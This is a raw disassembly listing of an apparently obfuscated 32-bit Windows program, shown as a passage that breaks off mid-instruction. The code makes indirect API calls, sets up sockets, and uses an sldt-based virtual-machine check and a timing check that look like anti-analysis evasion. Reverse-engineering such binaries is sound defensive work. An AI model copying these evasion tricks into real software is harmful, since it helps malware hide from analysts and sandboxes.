		push	dword ptr [ebp-1Ch]
		pop	ecx
		mov	dword_9BBD2C, ecx
		push	4
		mov	ecx, 4
		push	off_9B8DBE
		jmp	off_9BAF0E
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B606C:				; CODE XREF: sub_9B1A08-263Ej
		lea	edx, ds:0Fh[edi*4]
		jmp	loc_9B445E
; END OF FUNCTION CHUNK	FOR sub_9B1A08

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B6078	proc near		; CODE XREF: sub_9AEC20+57p
					; sub_9AFF64+5Cp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AAFC8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB94D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B09B4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B5A5C SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B9A25
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	edx, [ebp+arg_0]
		test	dl, 1
		jz	loc_9B5A5C
		jmp	off_9B900C
sub_9B6078	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B60C0:				; CODE XREF: sub_9B0930+15E4j
		jz	loc_9B23EF
		jmp	off_9B969F
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B60CC:				; CODE XREF: sub_9B63D8-3719j
		inc	eax
		jmp	loc_9AC8EF
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1334


loc_9B60D4:				; CODE XREF: sub_9B1334+8j
					; DATA XREF: .text:off_9B979Fo
		mov	dword ptr [eax], 10h


loc_9B60DA:				; CODE XREF: sub_9B1334+2j
		mov	ecx, esi
		xor	eax, eax
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	[esi+4], edx
		push	[esp+arg_0]
		pop	edx
		mov	word ptr [esi],	2
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	edx
		call	dword ptr [ecx+8]
		mov	[esi+2], ax
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1334
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B610C:				; CODE XREF: sub_9B1D80-441Fj
		or	ebx, ebx
		jnz	loc_9AE945
		jmp	loc_9B56D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B611C	proc near		; CODE XREF: sub_9B6078-613j
					; DATA XREF: .text:off_9B96E0o

; FUNCTION CHUNK AT 009AB944 SIZE 00000009 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9B611F:				; CODE XREF: sub_9B611C+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9B611F
		jmp	loc_9AB944
sub_9B611C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B612C:				; CODE XREF: sub_9B63D8-43D7j
		lea	eax, [eax+eax*4]
		shl	eax, 1
		movsx	ecx, cl
		mov	[ebp-2130h], eax
		lea	eax, [ecx+eax-30h]
		mov	[ebp-2130h], eax
		mov	ecx, [ebp-2124h]
		add	ecx, eax
		cmp	ecx, 200000h
		jg	loc_9AF944
		jmp	loc_9ABA0C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B6160:				; CODE XREF: sub_9B2E04-9E8j
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	11h
		push	2
		push	2
		call	dword ptr [eax+20h]
		mov	edi, eax
		mov	[ebp+var_4040],	edi
		and	edi, edi
		jz	loc_9B107C
		jmp	off_9B99F6
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B6188:				; CODE XREF: sub_9AC6DC+3784j
					; sub_9AC6DC+5DF6j
		push	0
		push	5Fh
		push	edi
		push	esi
		call	__allmul
		push	0
		push	64h
		push	edx
		push	eax
		call	__aulldiv
		cmp	ebx, edx
		jb	loc_9B0051
		jmp	off_9B9461
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B61AC:				; CODE XREF: sub_9AC32C-E48j
		push	edi
		call	dword ptr [edx+5Ch]
		cmp	eax, edi
		jl	loc_9AC5F8
		jmp	loc_9B5E20
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B61C0:				; CODE XREF: sub_9B1F68+3923j
					; DATA XREF: .text:off_9B87F6o
		push	0
		push	esi
		call	sub_9B0E7C
		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		push	esi
		call	dword ptr [ecx+38h]
		mov	dword ptr [ebx], 0
		mov	edi, [ebp-34h]
		inc	edi
		jmp	loc_9B01E0
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B61E4:				; CODE XREF: sub_9B1A08+2A71j
		call	sub_9B2010
		or	eax, eax
		jz	loc_9AF398
		jmp	loc_9AD1C4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B61FC:				; CODE XREF: sub_9B03E8+4Fj
		sldt	ax
		or	ax, ax
		setnz	al
		movzx	eax, al
		mov	edi, eax


loc_9B620A:				; CODE XREF: sub_9B03E8-A2Ej
		mov	[ebp-158h], edi
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	esi, eax
		mov	[ebp-15Ch], esi


loc_9B6224:				; CODE XREF: sub_9B03E8-F0Cj
					; sub_9B03E8+26F1j
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		call	dword ptr [edx+30h]
		sub	eax, esi
		cmp	eax, 3E8h
		jnb	loc_9B2B4C
		jmp	loc_9AF4C4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9B6244:				; CODE XREF: sub_9B3A74-4CA9j
		mov	dword ptr [ebp-128h], 1


loc_9B624E:				; CODE XREF: sub_9B3A74-7266j
					; sub_9B3A74-4CAFj ...
		mov	eax, [ebp-124h]
		and	eax, eax
		jz	loc_9B03D6
		jmp	loc_9B03C8
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B6264	proc near		; CODE XREF: sub_9B4950:loc_9AC0B0p

; FUNCTION CHUNK AT 009AE18F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B5C98 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 009B5F6C SIZE 00000038 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9779
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 998h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		mov	[ebp-9A0h], edi
		mov	[ebp-4], edi
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax+10h]
		push	edi
		push	edi
		push	edi
		push	edi
		push	2
		push	2
		call	dword ptr [ecx+60h]
		mov	esi, eax
		mov	[ebp-9A8h], esi
		cmp	esi, 0FFFFFFFFh
		jz	loc_9AE18F
		jmp	off_9B9F07
sub_9B6264	endp

; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-12Ch]
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B62E4:				; CODE XREF: sub_9B3408-5433j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9BADC8
		call	dword ptr [ecx+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		push	esi
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B6318:				; CODE XREF: sub_9ADAC4-2686j
					; DATA XREF: .text:off_9BA637o
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	7FFFFFFFh
		push	ebx
		call	dword ptr [eax+10h]
		mov	[ebp-58h], eax
		or	eax, eax
		jnz	loc_9ADCDC
		jmp	off_9B92D1
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B633C:				; CODE XREF: sub_9B0930-36D0j
		push	dword ptr [eax+18h]
		pop	eax
		cmp	dword ptr [eax], 0
		jz	loc_9B23EF
		jmp	loc_9B2790
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B6350:				; CODE XREF: sub_9B6370+14j
		push	esi
		push	[esp+8+arg_0]
		pop	esi
		push	edi


loc_9B6357:				; CODE XREF: sub_9B6370-4B50j
		mov	eax, edx
		shld	edx, ecx, 1
		shr	eax, 1Fh
		shl	ecx, 1
		or	eax, ecx
		xor	edi, edi
		push	eax
		pop	ecx
		movzx	eax, cl
		jmp	loc_9B180C
; END OF FUNCTION CHUNK	FOR sub_9B6370

; =============== S U B	R O U T	I N E =======================================



sub_9B6370	proc near		; CODE XREF: sub_9ADCEC-245Bp
					; sub_9B3FF8-82FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009B05F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B180C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B6350 SIZE 00000020 BYTES

		mov	ecx, [esp+arg_4]
		push	[esp+arg_8]
		pop	edx
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_9B05FA
		jmp	short loc_9B6350
sub_9B6370	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B6388	proc near		; CODE XREF: sub_9B2118-1B7Ap
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAA6D
		call	dword ptr [ecx+68h]
		xor	edx, edx
		mov	dword_9BBD10, edx
		mov	dword_9BBD14, edx
		mov	dword_9BBD18, edx
		mov	dword_9BBD1C, edx
		mov	dword_9BBD20, edx
		mov	dword_9BBD24, edx
		mov	dword_9BBD20, 0Ah
		mov	dword_9BBD24, 0FFFFFFFFh
		retn
sub_9B6388	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B63D8	proc near		; CODE XREF: sub_9ACEE8+2665p

; FUNCTION CHUNK AT 009AB0C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AB2C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AB558 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AB5A4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009AB5D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 009AB610 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AB6FC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009ABA0C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABE10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC5C0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AC8EC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009ACA04 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009ACB60 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009ACBA0 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009ACFE0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD014 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009AD634 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD6E8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADC78 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009ADE94 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009ADF3C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE2F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AE7B0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AE818 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009AED08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AED1C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF248 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AF300 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF368 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AF6C0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AF90B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AF944 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AF9E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AFAB4 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AFEF0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B0304 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B036C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B1218 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B1278 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B13A8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1850 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B1D1C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1E18 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B1FF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2234 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2A28 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B2CB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B2DEC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B3788 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B4088 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B40F0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B41A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4668 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009B4860 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B4A80 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B4D94 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B4EA8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4EC8 SIZE 000000F4 BYTES
; FUNCTION CHUNK AT 009B54C0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B55C4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B5844 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B593C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5A74 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B5B20 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B5BA8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B5E4C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B60CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B612C SIZE 00000031 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAB3E
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		push	2170h
		pop	eax
		sub	esp, 8
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	edi
		mov	eax, [ebp+0Ch]
		mov	[ebp-2160h], eax
		mov	eax, [ebp+10h]
		mov	[ebp-2158h], eax
		mov	[ebp-2154h], ecx
		mov	[ebp-2140h], edx
		push	dword ptr [ebp+14h]
		pop	esi
		sub	ebx, ebx
		mov	[ebp-2144h], esi
		mov	[ebp-2134h], ebx
		mov	dword ptr [ebp-2138h], 0FFFFFFFFh
		mov	[ebp-4], ebx
		mov	[esi], ebx
		mov	[edx], ebx
		mov	[ecx], ebx
		mov	[eax], ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	edi
		call	dword ptr [edx+1Ch]
		mov	esi, eax
		mov	[ebp-2170h], esi
		cmp	esi, ebx
		jz	loc